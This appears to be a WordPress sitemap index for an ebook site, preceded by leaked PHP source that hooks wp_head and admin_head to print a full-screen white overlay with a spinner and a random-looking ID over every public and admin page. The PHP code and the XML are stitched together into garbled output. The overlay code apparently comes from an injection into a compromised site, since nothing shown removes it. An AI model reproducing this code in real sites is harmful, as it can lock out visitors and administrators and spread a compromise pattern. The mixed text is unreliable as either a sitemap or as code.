add_action('wp_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
    <div style="position:relative;width:30px;height:30px">
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.45s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.3s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.15s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite"></div>
    </div>
</div>
<style>@keyframes s{0%{transform:rotate(0)}to{transform:rotate(360deg)}}</style>

';
});
add_action('admin_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
    <div style="position:relative;width:30px;height:30px">
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.45s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.3s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.15s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite"></div>
    </div>
</div>
<style>@keyframes s{0%{transform:rotate(0)}to{transform:rotate(360deg)}}</style>

';
});

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://ebook.logosdoreino.com.br/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://ebook.logosdoreino.com.br/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://ebook.logosdoreino.com.br/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://ebook.logosdoreino.com.br/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://ebook.logosdoreino.com.br/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://ebook.logosdoreino.com.br/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://ebook.logosdoreino.com.br/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>